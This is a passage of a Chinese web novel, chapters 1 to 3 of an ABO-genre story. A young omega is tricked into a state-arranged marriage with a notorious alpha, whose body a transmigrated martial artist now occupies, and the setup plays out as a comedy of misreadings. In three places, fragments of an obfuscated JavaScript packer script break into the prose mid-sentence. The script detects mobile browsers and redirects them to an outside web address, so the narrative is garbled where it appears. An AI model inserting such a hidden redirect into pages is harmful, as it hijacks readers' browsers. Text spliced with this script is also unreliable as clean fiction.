《新婚室友ABO》 1. 第 1 章 “衣服脱掉。” 这是alpha说的第一句话。 彼时安纯刚走进人类联邦政府为二类新婚夫妻配备的婚房,一抬头,便见他的alpha丈夫懒散地坐在沙发上,身形高大,肌肉流畅,望着他的目光似笑非笑,意味不明。 “放那里。” alpha微抬了一下下巴,示意安纯脱光自己所有的衣服,放到门口的衣篓里。 而那个衣篓边缘,还搭着条刻着安纯名字的,狗链般的项圈。 ——alpha想让他不着寸缕地戴上项圈,并像狗一样爬过去。 安纯脸色苍白,手指无法抑制地颤抖着,却不得不一件件褪去身上的衣服。 他没办法拒绝。 因为他的丈夫是项知擎。 臭名昭著的项知擎,玩死了三任omega情人的项知擎,施虐视频全程曝光最后却被无罪释放的项知擎。 . 安纯与项知擎的婚姻来源于一场构陷。 一个月前,项家二公子项知擎凌虐omega情人致死的新闻引爆网络的时候,安纯还只是一名平平无奇的高三毕业生。 为了凑齐上大学的生活费和学费,他在本市最大的娱乐会所做保洁,一个月工资足足有八千。 由于工资高,他的工作范围也很杂,包括但不限于打扫卫生间,清理包厢,处理客人醉酒后砸碎的酒杯或产出的呕吐物……安纯工作起来认真又小心,每次工作都会穿上肥大的黑色工作服,戴好帽子和口罩,随身携带卫生间同款熏香,把自己的omega特征遮掩得严严实实,从没引起过任何人的注意,安安静静做着会所毫无存在感的清洁符号。 直到有一天,他在工作时遇到了林尤淼——他法律上的哥哥,他养父母的亲生子。 林尤淼只比安纯大三个月,今年也是十八岁,刚刚分化为omega。 安纯遇到他时,他正姿态亲昵地扑在一个alpha怀里,呼吸间隐有酒气。 在确定林尤淼并未醉得彻底,且与alpha之间不存在被迫关系后,安纯默默低下头清理地上的酒杯碎片并起身离去。 可就在起身的那一秒,林尤淼抓住他,并扯掉他的口罩,语带醉意地质问:“安纯?你怎么会在这里?!” 安纯的脸庞暴露在包厢暧昧迷离的灯光下,林尤淼身侧的alpha眯起了眼。 于是。 噩梦开始了。 林尤淼的alpha对安纯展开有钱人的追求游戏。 林尤淼则开始对安纯恨之入骨。 安纯辞去会所的高薪工作,拉黑alpha的终端来电,拒收一束又一束示爱的玫瑰,甚至在林尤淼的针对下搬离养父母家,租了一间简陋的地下室临时居住。 他储存了大量的营养剂,反锁房门,闭门不出,每天在星网上寻找零碎的挣钱渠道,并日夜许愿,恳求那位alpha少爷早日对他失去兴趣。 安纯并没有在地下室住太久。 搬进地下室第七天,门口不再出现新的玫瑰花。 搬进地下室第十天,终端不再出现陌生来电。 搬进地下室第十三天,养父母联系他,说是收到了他的大学录取通知书,约他出来拿并顺带与他解除领养关系。 安纯应了。 “我们把你养到成年,按理说你是要为我们养老的,但你抢了淼淼的男朋友,淼淼不愿再见到你,非要我们与你解除领养关系。” 餐厅的包厢内,坐在对面的养母如是说。 安纯扯了下唇角,没有告诉他们,即便没有自己,林尤淼也不太可能和他那位“男朋友”走到最后——在拒接所有陌生来电前,他还收到过那名alpha的未婚妻的言辞刻薄的奚落。 “解除关系也可以,”养父沉声道,“但你必须给我们写张欠条,表明你日后会还清我们抚养你的所有投入,至少一百万!” 安纯放下汤碗,很缓慢地开口:“可以。” 养父母面色一喜。 安纯紧接着说:“但你们也要把我亲生父母留下的东西还给我,你们住的那套别墅,我父母意外去世的保险金,以及我父母留下的所有存款。” 养父母脸色一变。 安纯低下头继续喝汤。 他吃了半个月的营养剂,除了这碗汤,这张桌子上的其他食物他都无福消受。 真是可惜。 养父母定不愿结账,这桌餐食的账单还得他来付。 养母开始辩驳:“你这个白眼狼,你在说什么鬼话?!你父母哪儿有什么存款,你又不是不知道,你五岁就提前分化,紧接着又被查出有绝症,你父母为了给你看病早就把钱花干了!别墅……别墅他们也早就卖给我们了……保险金又有几个钱,这些年给你看病也花没了……” 谎话。 安纯抬头静静看着他们。 他五岁便提前分化为omega,紧接着便被查出身患基因与腺体缺陷症。 这种病症极为罕见,整个玛瑙星的医生都对他束手无策。 七岁那年,父母把不能远行的他寄养在他们最好的朋友,也就是他现在的养父母家,前往其他星球为他求医。 ……然后飞船失事,他们再也没能回来。 葬礼上,他无意间听到养父母谈话,得知父母留下的财产足有数千万。 他当时年幼,并不知道这代表什么,只记得养父母说这话时声音很小,笑容却极为明艳。他们握住彼此的手,脸颊泛起激动的红晕,在他眼里,在黑白灵堂的角落,留下一抹刺眼的,久久褪不去的红。 而自从父母去世后,养父母再没带他去过医院。 …… 在他安静的注视下,养母的声音越来越小,直至完全消失。 养母移开视线喝了口茶,片刻后又重新恢复了音量:“反正想和我们解除领养关系你就得给我们写欠条,否则你别想拿回你的录取通知书!” 安纯突然不再愿意为这顿午饭支付账单,他站起身:“没有录取通知书也不会妨碍我上大学,与其想方设法从我这里骗钱,不如早日戒赌,我父母留下的资产原本够你们挥霍一辈子的。” 养父养母近些年染上赌博,去年安纯便意外得知两人已经把安父安母留下的财产挥霍到只剩五位数……不知道现在他父母的别墅还在不在这两人名下。 安纯转身,不再看那两张令人厌烦的脸。 他走至包厢门口,拉开门。 一团黑影突然从门外冲进来,并拿着一瓶喷剂喷向他的脸。 失去意识的最后一秒,安纯看见了林尤淼那张扭曲而愤怒的脸。 . 除了使他过早分化为omega,且不能准确地释放和接收信息素外,安纯的基因与腺体缺陷症还给他的生活带来了诸多不便。 其中之一,是他对多种食物、物品和花粉过敏。 其中之二,是他会时不时发病。 他发病毫无规律,有时候由过敏引起,有时候是在睡梦中突然发作。 而最令安纯感到害怕的是,他从不知道自己发病时会有怎样的症状。 父母在世时,他从没发过病。 父母去世后,他一共发作过三次病,均在养父母家中。 每次发病结束后,他的喉咙总会有些干燥,他的位置总会发生偏移,他问养父母自己的发病症状,总是只能得到一个语焉不详的回答,而他问林尤淼时,却会得到一个似笑非笑的怪表情。 “安纯,你发病时真好玩。” 这是林尤淼唯一告诉他的。 . 安纯又发病了。 这次发病是由过敏引起的。 过敏源是林尤淼朝他脸部喷洒的海鲜汁。 与往常不同的是,他这次终于知道了自己发病时的表现。 . “我来申请二类婚姻,这是我的证件。” …… “我确定。” …… “我知道。” “我没有饮酒,且神志清醒。” “我是自愿的,请尽快帮我办理。” …… “我,安纯,男性omega,十八周岁,自愿申请二类婚姻,我宣誓,我将完全遵循光脑的信息素匹配制度,与最契合的alpha缔结婚姻。我将致力于联邦政府的人口发展,为提高联邦政府的AO质量做贡献,无论伴侣贫穷或是富贵,英俊或是丑陋,健康或是残疾,我都将坚定不移地接纳他,忠诚他,为他繁衍后代,与他共度余生。” …… “我不要每月2000元的生活补助,我要一次性支取二类婚姻奖励金,请把那五十万打到这个账户。” …… 玛瑙星,渡市,婚姻管理局申诉中心。 安纯一遍又一遍地观看自己昨日前来申请二类婚姻的监控回放,脸色越来越白。 “我当时神智并不清醒。”安纯声音又哑又颤,“我身患基因与腺体缺陷症,我昨天发病了,发病症状应该是会无意识重复他人的话……你们看,视频中我坐着轮椅,戴着耳机,你们工作人员的每一次问话,我都要停顿一段时间才能回答……看我身后这个人——他是我名义上的兄长,我昨天发病就是拜他所赐,每一次你们发问而我停顿的时候,他都在终端上打字……他在终端上打的字会转换成声音传入我的耳机,然后被我重复出来,构成我的回答。” 工作人员面面相觑:“我们从没听说过这种奇怪的病。” 安纯:“我的病很罕见,玛瑙星仅此一例。” 另一名工作人员走上前:“您能拿到医疗证明吗?您的医疗证明能证明您的发病症状吗?就算您能拿出医疗证明,我们又凭什么相信您是真的发病,而不是和家里人串通起来坑骗政府的奖励金呢?恕我直言,先生,人口管理局的资料显示您的父母和兄弟已经携款离开了玛瑙星,而我们婚姻管理局没有不归还婚姻奖励金就撤销婚姻申请的先例。如果您对此有任何异议,建议您报警处理。如果您拿不出任何有效证明就想撤销婚姻,则需要缴纳十倍罚款。” 安纯沉默。 然后颔首离去。 紧接着,他去了警局。 警员推三阻四,并不受理。 “你们都不调查吗?”安纯哑声问,“即便你们不相信我是真的发病,那昨天林尤淼在明知道我对海鲜过敏的情况下还拿海鲜汁袭击我,致使我过敏昏迷总是事实,这个也不能立案吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077639|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >片刻的安静后,一名警员从电脑后抬起头:“联系上你说的那家餐厅了,他们说昨天监控坏了,不能提供任何证明。” 安纯静默。 他只觉得浑身发凉。 他转身离开警局。 . 走出警局大门的时候,安纯发现有雪花落在自己肩头。 他抬头,意识到玛瑙星的雪季已经来临。 “叮咚。” 终端收到一条讯息。 来自地下室的房东。 房东说,他这边接到通知,说是安纯的婚姻状态已更改,而任何申请了二类婚姻的omega都不再具备独立租房的权利,因此他们的租房合约自动解除。押金不退。 “叮咚。” 终端收到第二条讯息。 来自婚姻管理中心。 婚姻管理中心发布通知,他的二类婚姻申请已匹配完成,建议他立刻前往政府为二类婚姻伴侣免费提供的“希望住宅”,今晚二十四点前没能到达婚房会被视为逃婚,政府人员将会对他采取强制措施。 讯息末尾缀着一个附件,那是他伴侣的个人信息。 安纯脑袋一片空白地点开。 看见一个人的名字——项知擎。 . 哈! 项知擎! 如雷贯耳! 安纯在会所当保洁时无数次听到过这个人的名字。 “项知擎又玩死了一个omega……” “给再多钱也不去啊……” “啧啧,我有个认识的人陪过他,三天三夜,出来后直接进ICU,盆骨骨折,内脏移位,全身上下没一块好皮,项圈直接勒到肉里……遭罪呦……” “人家是项家的二少爷……当然不会被抓啦……” “还是无罪释放,听说他玩人前都会签协议……” “项……是不是吸了啊,我上次看见他,觉得他好像有点不对劲……” …… “项知擎凌虐omega致死的视频被爆出来了!” “上热搜了,上热搜了!项知擎玩死omega的事终于上热搜了!!” “艹!项家发声明了,说与项知擎断绝关系,收回其名下所有财产,不再为他提供任何经济援助!!!” …… “……啊?项知擎申请二类婚姻了,还提前分到一座希望住宅……不是,他真愿意做配种猪啊?” “不然呢?他都要去睡桥洞了,还在乎这?雪季就要来临了,到时候没地方住就得冻死……申请二类婚姻至少包吃包住,我倒是觉得和他匹配成功的omega挺可怜的……” “有什么好可怜的?申请二类婚姻的能是什么好东西?说不定跟他匹配成功的omega也是个烂货!” “那倒也是……” …… 哈。 项知擎。 安纯握紧终端,感觉腹中的每一个内脏都痉挛着疼了起来。 . “喂……” 一个声音从身后响起。 安纯转头看去,是一个很年轻的,戴着口罩的小警员。 小警员看向他,目光有些闪烁:“那个,你是不是得罪了什么大人物?” 安纯睫毛落了雪,看人的目光很空,没什么反应。 小警员抓了抓头发,小声凑过来说:“我听说,好像是有人给我们领导打过招呼,不让我们受理你的案件……在你来之前。 “而且……你养父母他们是在昨晚离开玛瑙星的,那个时段只对私人航线开放。” 安纯愣住。 睫毛上的雪落下。 小警员张了张嘴,留下一句“想想你得罪谁了吧”便转身跑了。 安纯在雪中站了十分钟,用冰凉的,僵冷的手指,把一个通讯号码拉出黑名单。 . 三分钟后。 安纯收到今天的第三条讯息。 霍渊:[想好了吗?选我,还是项知擎?] 霍渊,林尤淼的前男友,亦是半个月前那个明明有未婚妻有男朋友却还来疯狂追求他的alpha。 安纯的手指悬在终端半空,没有动。 . 曼陀罗酒店顶层套房。 身着浴袍懒懒摇着酒杯的霍渊兴致颇浓地看着面前的全息影像。 全息影像是监控视角,但还是很完美地展现出了那名站在雪中,站在警局门口的omega的纤细的腰身,和苍白秀美的面容。 真是漂亮啊。 omega的脸庞已经像雪一样白了,细白的手指悬停在终端上方,微微颤着,整个人犹如一支矗立在雪中的玉兰花。 干净,美丽,诱人攀折。 霍渊眯着眼抿了口红酒。 他觉得自己没必要等待了。 毕竟没有人会不知道该怎么选。 他心情愉悦地发送讯息。 霍渊:[曼陀罗酒店顶层套房,现在。] 监控画面中的omega终于动了。 安纯第一次回复了霍渊的讯息。 霍渊漫不经心地笑了笑,点开讯息。 他的笑僵在脸上。 安纯:[贱人。] 2. 第 2 章 项知擎觉得自己倒大霉。 他原是古武世家项家的家生仆,他养父是项家的司机,他是养父在去项家庄园的路上捡来的孩子。 他先天条件不足,四岁开始练武,十二岁成为后天武者,十五岁开始代表项家参加“古武擂台争霸赛”,十七岁后便屡战屡胜,二十一岁帮助项家挤入四大古武世家之列,同年,养父去世,他与项家签订协议,他再帮项家打五年争霸赛,帮助项家争夺“古武世家之首”的地位,之后便能彻底摆脱项家,想干嘛就干嘛去。 昨天,是他彻底自由的重要日子。 他高兴极了,在项家结算给他的大别墅里肆无忌惮喝着酒,最后美美醉倒在主卧三米宽的大床上。 结果一觉醒来——全世界都变了! 先是他六百平的大别墅变成了个两室一厅的小破屋,再是周身的设施全都变成了从没见过的高科技产物,然后是他一转身,发现墙角靠着具和他长得一模一样的男尸。 有那么一瞬间,寒意从后脑勺滑到脚后跟。 项知擎整个人都麻了。 足足过了两分钟,项知擎才朝着那具男尸走过去,他强作镇定地打量起男尸,发现那人虽然和他长得一样,却比他瘦上很多,脸颊凹陷,眼下青黑,袒露的手臂上留着小半管没扎完的针剂,表情如梦似幻,兴奋莫名——应该是吸毒吸死的,且刚死不久。 项知擎深吸一口气,伸手去拔男尸手臂上的针剂,想确定这到底是哪种毒品。 可他指尖刚碰到男尸的皮肤,脑袋便一阵晕眩,世界也毫无征兆地震动起来,恍惚中,似乎有什么东西撕裂了时空,他看见他熟悉的房间和三米宽的大床突兀出现在扭曲的空气里。 他心中一跳,下意识伸手去抓。 下一秒,一股巨大的斥力朝他袭来,猛地将他掀翻了出去!而那具和他长得一模一样的男尸却在他眼前被那股力量骤然吸走了! 墙面被项知擎砸穿一个洞,水泥里的钢筋捅穿了皮肉,鲜血淅沥沥流了满地。 项知擎坐在废墟里仰起头,没受过九年制义务教育的空空如也的脑袋里冒出几行字。 ……好疼。 不是做梦。 他好像穿越了。 . “穿越”。 这个高端的词汇是项知擎从电影里学到的,那是他看过的第一部,也是唯一一部电影。 那年他16岁,是最叛逆的年纪。 项知擎不知道别人是怎么叛逆的,但他叛逆起来那就是毫无征兆且尤其疯狂。 那段时间他突然厌恶起古武和一成不变的生活,他会在老爹和武术老师不注意的时候故意发呆,想天上的云,地上的草,就是不想现在练的这个招式该怎样更快更好地使出来,他会在别人不注意的时候把嘴里的营养餐吐掉,以没有任何人可以发觉的速度偷吃餐桌上少爷的零食。 而他做的最叛逆,最疯狂的一件事。 就是翘掉比赛,偷偷去看了一场电影。 电影讲的是一个能穿越时空的男人在自己的时空被追杀,便穿越到平行世界,杀了那个世界的自己,并取而代之的故事。 那部电影情节复杂,项知擎其实没怎么看懂,但他永远都不会忘记影院紧张刺激的音效,大屏幕上神奇诡谲的特效,场内爆米花的香气以及……晃悠着回到项家时,老爹看向他时的那张脸。 “……电影好看吗?”老爹问。 他点头。 老爹脊背弯了些,他沉默了一会儿,点头说:“那就好。” 他走过去摘掉老爹头上的帽子,看到了老爹嘴角的血痂和脸上的巴掌印。 那是他青春期的最后一次叛逆,也是他最后一次看电影。 当然。 打了他爹的项老爷也付出了应有的代价——那天晚上他掀翻四个护卫,冲进项老爷卧房,把项老爷摁在床头柜上剃了半个头。 哦,他后来也被打了个半死。 但再没有人敢动他爹一根手指头。 . 从回忆中抽离,项知擎低下头,心不在焉地把钢筋从肉里抽出来,又翻箱倒柜找到医疗箱,为自己处理伤口。 他又想起那部电影。 他这算什么? 互穿? 行吧,比穿越到平行世界杀掉另一个自己取而代之要好一些,毕竟他没带化尸粉,尸体挺难处理的。 不过他可不承认那个和他模样相同的毒鬼是另一个“自己”。 项知擎叹了口气,深觉自己倒霉至极。 然后他认命地打量四周,试图适应自己的新身份。 这是一间两室一厅的独立小平房,墙面稀薄,建造粗糙,有点像农村自建房,但应该不是——窗外一模一样的平房足有上百幢,且各有编号,看起来很规整。 窗外的雪下得很大,路上一个行人也没有,只有空中零星有几辆飞车疾驰而过,并不在此处停歇。 项知擎眯起眼盯着窗外的飞车看了一会儿,确定这个时空的科技水平比他原本世界要高很多。 项知擎所在的世界崇尚古武,科技发展水平较为缓慢,他原本以为新出的触屏手机已经很高级很科幻了,没想到这里的汽车能在天上飞。 项知擎拉上窗帘,在屋里找了一大圈,没找到任何报纸,杂志,书籍或电视,只在墙面废墟下找到张破损不堪的贺卡。 贺卡上残缺不全的字迹依稀可辨。 项知擎先生&安纯先生: 恭喜两位乔迁新居! 或许你们现在还是素不相识的陌生人,但往后共住一个屋檐下,你们便会成为■■■■■■■■■■! ■■■■需要磨合,需要耐心,需要■■■■,祝你们■■快乐! 你们的房东■■■ 联邦历726年1月15日 项知擎:…… 项知擎手指用力。 贺卡灰飞烟灭。 项知擎内心憋屈至极。 穿越时空也就算了,新得到的身份是个毒鬼也就算了,六百平大别墅变成两室一厅小平房也就算了,怎么这破烂平房还是个有室友的合租屋啊?!!! . 唯一能令项知擎感到宽慰的是,另一个卧室空空荡荡,室友明显还没入住,应该不会发现他比毒鬼项知擎健壮了许多的体型变化。 但项知擎依旧满腹怨气。 内心满腹怨气的项知擎在打扫卫生时就有些失控,他扯下毒鬼的床单被罩,用来拖运倒塌墙面的废墟,结果一路上撞翻了三个凳子一个茶几,出门的时候还带翻了墙角的衣架,项知擎下意识一扶,那个看起来很结实的衣架就在他手里碎成了渣。 项知擎:“……” 这家具怎么能这么脆?他真的没用力!!! 令项知擎崩溃的还不止如此,在之后的半个小时里,项知擎弄碎了三个水杯,一个水壶,一个茶几,两把椅子。 项知擎简直以为自己是内力失控了,拿便利签折了好几个漂亮纸鹤才发现并非如此,弄坏东西真不怪他,是这里东西的质量太差了! 要知道,在项知擎原本的世界,一切东西都以厚重为美,就连超市售卖的水杯也大多是由铁石打造,并分为超重,重和普通三档,方便先天武者,后天武者和普通人一边喝水,一边进行日常的举重训练。 可这里的杯子呢?竟然全是由玻璃制作! 虽然是后天武者,但用惯了超重水杯的项知擎怎么能适应的了?! 总而言之,当项知擎终于清理完墙壁废墟后,整个客厅除了沙发和鞋柜,已经没有任何家具了。 项知擎:“……” 项知擎看着空荡荡的客厅,碎了好几块的瓷砖,坍塌了一半的墙壁,陷入深深的思索。 唔。 不知道用武力威胁一下室友,让他别向房东告发自己可不可行…… 片刻后,项知擎沮丧地叹了口气,去外面找了块巨石,并用内力削平搬回来充当茶几,又找到几个椭圆石头掏空充当茶具,紧接着,他又费了好大劲儿才找到块长石头准备磨成衣架子。 可项知擎刚把长石头搬回家,就看到远处的车站驶来一辆列车,列车到站后只有一个人下站,那小小的黑点正一步步朝着这里走来。 虽然这边不止这一间房,但没来由地,项知擎就觉得这是他室友! 项知擎:“!!!” 项知擎以迅雷不及掩耳之势将长石头收起来,然后跑进两间卧房,行云流水地移动了床铺和衣柜的位置,用硕大的衣柜将两间卧房之间的破洞遮掩得严严实实。 做完这一切后,他跑到窗边看了看——小黑点果然越来越近了! 但还有时间。 项知擎精益求精地拿出备用四件套换了室友卧房沾满泥灰的床铺和“自己”卧房的床铺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077640|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后又找到了个衣篓放在玄关充当衣架,哦,对了,他还把无意中找到的一条写着室友名字的狗绳搭到了衣篓上,这应该是室友上次带狗看房时不小心落下的,室友看到自己丢失的狗绳后应该会很开心吧,这样或许就不会计较他对合租屋的“小改动”了。 完美。 做完这一切后,项知擎又去窗边看了看,室友还没到,但小黑点已经初具人形了 ,好吧,从列车车站到这间房屋之间的路途确实是很长,雪也很深,并不好走。 项知擎低头看了一眼自己满身石灰的模样,在毒鬼的房间找了件连吊牌都没摘的宽松睡衣,去浴室洗了个战斗澡。 项知擎很快就从浴室出来,施施然坐到沙发上。 “滴。” 大门传来一声电子开锁声。 室友刚好到了。 . 紧闭的房门被开了一道缝,屋外的寒风冷雪泄入暖气屋里。 一个十八、九岁的年轻人从屋外走了进来。 他身穿黑色的长款棉衣,围着一条灰黑色的围巾,拉着一个有些破旧的米白色行李箱,他肩头和头顶都落了雪,双手和耳朵都冻得通红,一看就是在雪地里走了很久。 竟没有带狗。 项知擎略感失望。 屋内的暖气开得很足,室友刚进门时的动作还因为寒冷而显得僵硬,他转身关门,在项知擎的注视下用很缓慢的动作换上拖鞋。 可没一会儿,他鼻尖就渗出了汗。 果然门口不能没有衣架啊。 项知擎在心底叹了口气,指着玄关处的破衣篓对新室友说:“衣服脱掉,放那里。” 明天,明天他就把衣架削好。 算了,石头衣架做起来动静太大,倒下来也可能会砸到弱不禁风的室友,他还是赔个新的吧,他记得他在毒鬼的房间找到了三百多块钱来着。 室友转头看见衣篓,静默了一下,好像是有点无语,但也没说什么,低头就开始脱衣服。 项知擎松了口气。 室友还蛮好说话的。 . 他失策了。 室友开始脱衣服, 室友摘了围巾,脱了棉衣,脱了毛衣,脱了裤子,脱了秋衣,还准备脱秋裤。 项知擎站起来:“你有病啊?!” 室友不说话,冷冷地看着他。 项知擎:“……” 难道是为了抗议他对合租屋的“小改造”? ——既然你用衣篓子代替衣架,就别怪我把所有脏衣服都扔进去! 项知擎:“……” 是这样吗?室友怎么能这么斤斤计较?!他又不是不赔! 项知擎头都大了。 但他又不能动拳头——室友上半身都脱光了,又瘦又白跟个白斩鸡一样,连肋骨都清晰可见,一看就是个从没练过武的普通人,项知擎没有欺负这类人的癖好。 况且这件事本来就是他不对。 可还没等项知擎想好该怎么解决这件事,室友就移开视线,垂眸开了口:“嗯。” 嗯? 室友:“我有病。” 项知擎:“……” 精神病? 室友:“我有基因与腺体缺陷症,容易过敏,身上这些痕迹都是由过敏引起的。” 什么基因?什么线体?什么缺陷症? 不懂。 但不能表现出不懂。 项知擎淡然地听完了室友的话,准确地抓到了“过敏”这个关键词,再仔细一看,室友上半身果然有很多星星点点的红疹。 哦……原来是过敏。 看来室友是因为过敏严重才要脱光衣服的。 屁嘞! 卧房离玄关就几步路! 况且他脱衣服的动作磨磨唧唧看不出半点着急——所以他就是在生气自己把衣架弄没了的事吧!!! 小心眼的室友! 项知擎握了握拳又松开,指着一间卧室的房门对室友说:“你的房间在那里!” 语气有些不善。 室友却恍若什么也没听出来,只微微点了点头,拾起衣服,拉着行李箱朝卧室走去。 冷若冰霜,目不斜视,没给项知擎半个眼神。 项知擎:“……” 项知擎把自己摔回沙发上。 忧愁地想。 好不好惹一室友。 3. 第 3 章 从警局回家的路上。 安纯给自己买了一支玫瑰花。 他回到地下室,脱掉衣服,把玫瑰花粉一寸寸揉抹在自己身上,又冲洗干净,然后穿上一套丑陋到令人兴致全无的秋衣秋裤,感受着秋衣下的皮肤开始发痒,疼痛,红疹丛生。 他对多种物质过敏,而过敏反应也各不相同,其中海鲜过敏最为严重,而对玫瑰花的过敏症状则较为轻微——只会令他身上遍布红疹,看起来像极了某种性病的表征。 安纯不知道这有没有用,因此在出门前,他还在口袋里放了一把折叠水果刀。 安纯看过项知擎凌虐omega致死的视频。 视频里的项知擎很高,但脸颊凹陷,眼下青黑,身形消瘦,衬衫包裹的手臂上一点肌肉线条都没有,用项圈牵引绳勒死全身赤裸的omega时气喘吁吁,几乎手脚并用,唯有双眼灼灼发亮,兴奋莫名,像一头刚从地狱里爬出来的恶鬼。 安纯也看过项知擎被网友偷拍的近照。 照片里的项知擎胡子拉碴,头发凌乱,佝偻着身子晃荡在街角,他已经不再像恶鬼了,他瘦弱得像一具被勉强搭起的骷髅,让安纯情不自禁生出杀夫的妄想。 他有基因与腺体缺陷症,不能准确接收到信息素,自然也不会对alpha的信息素臣服。 如果项知擎像视频中那样对他施暴。 那么他愿意坐牢。 事实上,如果不是霍渊体格强健,且身边总有保镖跟随,甚至还会给每一个近身者搜身,那么他或许会给霍渊另一个回答。 安纯埋头走在寒风里,握紧了口袋中的水果刀。 . 所有的痴心妄想在看见项知擎的那一刻碎裂成渣。 安纯从没想到他丈夫的实物会与照片不符。 项知擎体态慵懒地坐在沙发上,身形比霍渊更高大,他肩膀宽阔,肌肉流畅,随手搭在沙发扶手上的健硕手臂更是蕴藏着可怕而巨大的力量——像是一拳就能揍死他。 安纯脑袋嗡嗡作响。 汗水湿了脊背。 “衣服脱掉。” “放那里。” 坐在沙发上的alpha慵懒散漫,项圈上属于他的名字清晰可辨。 这是安纯曾在视频里循环播放了无数遍的开头。 安纯脱得格外慢。 脱到只剩下那身可笑至极的花秋衣时,他的动作几乎静止,似乎生怕项知擎看不清上面奶奶辈的花纹,松松垮垮的造型和洗到褪色的寒酸气。 可余光中的alpha只是蹙了蹙眉,没有半分要喊停的意思。 安纯只能闭上眼继续脱。 终于。 项知擎发现了他皮肤上的红痕,他果然怒气勃发地站起来:“你有病?!” 他看起来那样愤怒,双手紧握成拳,站起来时的动作带动得整张沙发都后移了半寸,像是安纯胆敢点头说一声嗯,就会一拳砸爆他的头颅。 “嗯。” 安纯说。 “我有病。” 安纯闭上眼:“我有基因与腺体缺陷症,容易过敏,身上这些痕迹都是由过敏引起的。” 他是个贪生怕死的懦夫。 项知擎怒气似乎收敛了,但依旧没散干净,他目光嫌恶地将安纯从上到下打量了一番,像是从未见过这么一张不堪入目的皮。 最终,他收回视线,指着一间房,用一种扔垃圾般的语气对安纯说:“你的房间在那里。” 安纯一怔。 希望住宅通常是两室一厅,为的就是给新人,尤其是新人中的omega一点喘息和适应的空间。 但事实上,由于AO申请比例的不平衡,alpha通常会提前入住,并擅自拆下另一间卧室的门锁把它改造成书房、游戏室或杂物间。光网论坛上甚至有不少申请了二类婚姻的alpha上传经验:“千万别让你的omega拥有自己的房间,否则除了发情期,你就别想同床!” 安纯从没想过他还能拥有自己的房间。 他点了点头,拾起地上的衣服,拉着行李箱朝卧房走去。 开门,关门,反锁。 “呲啦。” 锁上了。 是顺滑的,普通的,没有被做过手脚的原装安全锁。 希望住宅配备的安全锁是国民品牌的基础款,虽然价格低廉却绝对安全,广告语是即便三个易感期的alpha合力撞击,也无法将它突破。 安纯抓着门把手,把额头轻轻抵在门板上。 片刻后,他转过身,将亲手脱掉的衣服一件件穿回去。 秋衣,毛衣,围巾。 他在这温暖如春的屋子里把自己裹得很臃肿,然后他走到床前,摊开被子,把自己完完全全塞了进去。 黑暗,温暖,密不透风。 他蜷起身子,裹紧被子,像住进了自己绝对安全的黑色堡垒里。 他闭上眼。 僵硬了许久的身体终于得到放松,他轻轻呼出一口气。 “轰隆——” 坠落感猛然袭来,安纯瞬间睁开眼,掀开被子,发觉身下的床铺竟毫无征兆地轰然坍塌了! 安纯怔愣地看着这片废墟。 “砰!” 尖利的门锁损坏声乍然响起,安纯浑身一个激灵,如受惊的动物般立刻转头。 只见那个号称三个易感期的alpha都无法合力撞开的安全门锁被人整个拧下,正以一种恐怖而扭曲的姿态挂在锁洞上。 项知擎推开他的门。 逆着光。 却恍若恶鬼降临。 . 室友的房间突然出现一声震天巨响。 项知擎心中一跳,三步并做两步冲过去,一把拧开了门—— 然后便看到室友裹着被子陷在坍塌的床铺废墟里,扬起的木屑灰尘落了满头满脸,眼睛睁得大大的,表情似乎是有些茫然。 原来是床塌了。 啧。 果然是垃圾出租屋,塑料烂家具。 他就知道之前那些家具的损坏不单单是他的错,这不,就室友这副弱不禁风的小白脸样,都能把床给睡塌。 项知擎心情舒畅了些,见室友还傻愣愣地裹着被子坐在废墟里,便好心地走过去把室友从废墟里拎出来,又拿起一旁的枕头拍拍灰塞到他怀里:“床怎么塌了?看来今晚你这屋是不能睡了,要不先去……” 沙发上凑合一晚? 后半段项知擎没说出来,因为室友突然抬起头看向他,目光冰冷尖锐,凛冽的寒意似乎能化作实质的刀刃。 项知擎:“……” 有病啊! 自己睡塌了床朝我撒什么气?有气去朝无良房东发啊!问他买的是什么破家具! 所幸室友很快移开了视线,目光从项知擎脸上移到门口那个被整个拧下来,正歪歪扭扭挂在门上的废弃门锁上。 项知擎:“……” 好吧。 拧坏门锁确实是他的错,但他也是好心嘛,要怪还是怪房东! 室友一言不发地抱着枕头出了门。 项知擎也顺手帮忙拎着行李箱跟上他。 然后就见室友看也没看沙发一眼,径直略过客厅,走入他的卧室,并堂而皇之地把枕头放到了他项知擎的床上! 项知擎:“???” 项知擎:“!!!” 床塌了不睡沙发跑来睡他床,怎么这么大脸?! 可他刚准备开口表达自己的不满,室友就转身朝他伸出了手,他也顺手将行李箱递了过去,室友蹲下来打开行李箱,从里面拿出一套睡衣,然后抱着睡衣进了浴室。 项知擎:“……” 项知擎才不惯着他,当即便毫不留情地拎着室友的枕头扔到了沙发上,并冷酷无比地把自己的门反锁了。 片刻后。 项知擎从自己的房间里探出头,并悄无声息地潜入室友的卧室。 唔……出于某种直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 